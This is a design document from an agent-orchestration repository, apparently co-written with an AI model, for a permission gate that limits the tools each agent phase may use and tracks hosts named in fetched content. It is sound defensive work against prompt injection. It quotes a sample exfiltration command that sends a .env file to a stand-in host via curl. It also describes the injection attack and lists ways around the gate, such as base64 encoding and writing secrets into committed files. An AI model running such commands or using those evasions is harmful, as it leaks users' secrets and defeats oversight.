Files
clawmates/docs/TASK-PERMISSION-AND-TAINT.md
T
Omar SobhandClaude Opus 5.5 5f69e88878
deploy / test (push) Successful in 5m0s
deploy / build (push) Successful in 5m57s
feat(gate): untrusted-target in shadow — stage 2 of argument provenance
Records (never refuses) a curl/wget to a host fetched content named, when the
command expands something at run time: the GET-exfil shape the floor leaves
open. The designed rule — body-carrying calls to tainted hosts — is dominated
by curl-body/curl-upload/wget-body, which already refuse every body, so it
would have shadowed nothing and looked like a clean result.

One case table drives the Rust predicate and the generated shell; they agree on
all ten cases (attack spellings, link-following, untainted expansion, subdomain
limit, non-fetches), and every case exits 0. The gate reads the file the tap
writes on both tiers (tested).

Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
2026-09-22 18:45:08 -05:00

9.3 KiB

Task permission and argument provenance — a design

Two layers ActGov (arXiv 2609.24446) names that our gate does not have. This is what it would take to build them here, grounded in what was measured on 2026-09-22 rather than in what the paper assumes.

Our gate today has one layer: hard invariants — what no mission may do, a global deny-list with rule ids, plus the write-path rules and the first role policy (verifier may not write). Missing: task permission (bind a phase to the tools its task actually needs) and argument provenance (refuse an action whose target came from untrusted content).

Four findings that decide the design

1. --allowedTools is not an enforcement boundary. The microVM lead is launched with --allowedTools Read Edit Write Bash Agent (microvm_executor::LEAD_TOOLS). The recorded corpus has ListAgents and ScheduleWakeup calls on microvm missions — neither is on that list, and both ran. So the flag governs permission prompting, not availability. Any task-permission layer has to be enforced by our own PreToolUse gate; narrowing the flag would change nothing and would look like it had.

2. The guest already has every tool's output on disk. vm_tool_tap's PostToolUse hook appends the whole payload, tool_response included, to tools.jsonl in /root/toolhooks (container) or /root/tap (VM). Taint can therefore be computed guest-locally, by the same shell that already runs there — no network call, no host round trip, no added latency in the tool path. This is the fact that makes provenance feasible at all.

3. The taint store is already protected. The hook-files rule refuses reads and writes to /root/toolgate, /root/toolhooks, /root/tap, the settings documents and .git/hooks/, from Bash and from the write tools. A taint file living there cannot be erased by the agent whose calls it governs.

4. Provenance matters on one tier far more than the other. Measured reachability (docs/MISSION-EGRESS.md) and the VM proxy's allow-list:

tier tailnet host ssh public internet
microVM n/a (no NIC; CONNECT proxy) n/a allow-list only — provider + forge, matched by name, not substring
container blocked blocked open

A microVM cannot exfiltrate to an attacker's host whatever a page tells it: the allow-list already closes that. A container mission can reach any public host. So the network half of provenance is a container-tier control, and saying otherwise would be padding.

Piece 1 — task permission

Shape. A per-phase allowlist of tools, enforced by the gate: a tool outside the set is denied with rule task-permission, alongside the floor and the role policies, rendered into the same guest script from the same table.

Where it is declared. mission_phases.config. Not under the key tools — that is taken: security_scan::run reads it to choose which of cargo_audit / gitleaks / trivy_fs / semgrep run. Use agent_tools, and have phase_config::KNOWN_KEYS describe both so the collision is visible to whoever reads the registry next.

Where the default comes from. The corpus, not intuition. What phase kinds actually used, today:

phase kind tools observed
coding Bash 56, Read 19, Write 11, Agent 5, Edit 1, ListAgents 1, ScheduleWakeup 1
research Bash 37, Read 28, Write 10, Glob 2

Two of those are the point: ListAgents and ScheduleWakeup are the strays from finding 1 — tools no mission needs, that no list stopped. A default set per phase kind of {Bash, Read, Write, Edit, Glob, Agent} covers every observed legitimate call and excludes both strays.

Why this is not just a smaller --agents list. It is enforced by us, in the hook, recorded as a gate.denied with its rule; the CLI's own list is the harness policing itself and demonstrably does not.

Staging.

  1. Add agent_tools to the config registry and the gate's table; render into the guest script; unit + shell tests as for the role policies.
  2. Shadow first. A new outcome gate.would_deny — recorded, not enforced. Run every scenario and a week of real missions. Promote only when the record shows zero denials of work that completed successfully.
  3. Enforce. The scenarios are the utility half: all of them must still pass, which is the trade ActGov measures as CaMeL and ACE failing (ASR 0.000 at utility 0.000) and this module's header already refuses.

What could go wrong. Too tight and agents work around the gate, which is worse than no gate. Mitigated by deriving from the corpus, by shadow mode, and by the default being a union of observed use rather than a guess at need.

Piece 2 — argument provenance (taint)

The invariant worth having, in ActGov's terms: no outbound action whose target was derived from untrusted content. That is the indirect prompt-injection shape — a fetched page says "send this to evil.example", and the agent obliges.

Mechanism, guest-local and deterministic.

  • The tap gains a taint step: for each fetching call (Bash curl/wget, and any WebFetch), extract hostnames from tool_response and append them to /root/toolhooks/untrusted-hosts.txt, capped and deduplicated.
  • The gate gains rule untrusted-target: an outbound call carrying a body (the existing curl-body / wget-body matchers already identify these) whose target host appears in that file is denied.

Why that shape and not string taint. Tainting arbitrary strings from fetched text and matching them against later commands produces false positives immediately — the failure this module treats as cardinal, and the one gate-exfil-spelling already cost us once. Hosts are high-signal and the asymmetry is real: reading a host a page mentioned is ordinary research; sending data to one is the attack. So the rule fires only on the intersection.

Staging.

  1. Taint extraction in the tap, writing the file. Nothing enforced. Inspect on real missions: what does it actually collect?

    Built 2026-09-22. vm_tool_tap::NODE_TAINT runs in the tap only when the payload could be a fetch; the file is untrusted-hosts.txt in the tap's own directory (covered by hook-files on both tiers, tested), capped at MAX_TAINT_HOSTS = 500, drained per finished phase into taint.hosts. Rules fixed by its shell test: curl/wget count only in command position (grep -r curl docs is not a fetch), and a host that also appears in the agent's own command or WebFetch url is the agent's choice, not the page's. Known gap: curl -o page.html then Read page.html taints nothing. The fetched body never passes through a fetching call's response.

  2. untrusted-target in shadow (gate.would_deny), same as piece 1.

    Built 2026-09-22 — and the rule changed shape. "A body-carrying call to a tainted host" would never fire: curl-body, curl-upload and wget-body already REFUSE every body-carrying curl/wget, whatever the host. The floor's open door is exfiltration through a GET (curl "https://evil.example/?d=$(cat .env)"), and recording every GET to a tainted host would record ordinary link-following. So the rule is: a curl/wget in command position, to a tainted host, whose segment EXPANDS something at run time ($(…), a backtick, $VAR/${…}). One case table drives the Rust predicate and the generated shell; both agree on all ten cases, and the shell never refuses. Limits pinned by that table: a literal secret in a URL is not an expansion, and a subdomain of a tainted host (www.iana.org vs iana.org) is not matched.

  3. Enforce on the container tier, where public egress is open. On the VM tier it is defence in depth behind an allow-list that already holds.

Honest limits, to be written into the module header.

  • Indirection defeats it: base64, a shell variable, a URL assembled from pieces. This stops accidents and the obvious case, which is exactly what the gate's header already claims and no more. The real boundary on the VM tier is the egress allow-list; on the container tier it is the network policy.
  • It does not cover content exfiltration into deliverables — a page telling the agent to write .env into README.md, which is then committed and pushed to the forge, a host that is allowed. That is a second invariant (stage B) and a harder one, because the legitimate case — writing fetched research into a file — looks identical.

Validation is thin and should be said so. Today's corpus is 171 tool calls, 93 with responses, 15 curl/wget invocations — the larger corpora those earlier numbers came from were wiped with the missions. Fifteen calls cannot validate a rule. The evidence path is therefore shadow mode on real traffic, not a retro-fit against what we happen to have kept.

Sequencing

Piece 1 before piece 2: it is smaller, its default is already derivable from the corpus, and it exercises the shadow-mode machinery (gate.would_deny) that piece 2 then reuses. Both inherit the role policy's proof obligations — rendered from one table into both implementations, unit-tested against the predicate, shell-tested against the generated script, and probed live against the deployed artifact by the rolepolicy scenario's pattern, with the negative controls that stop a gate from passing by refusing everything.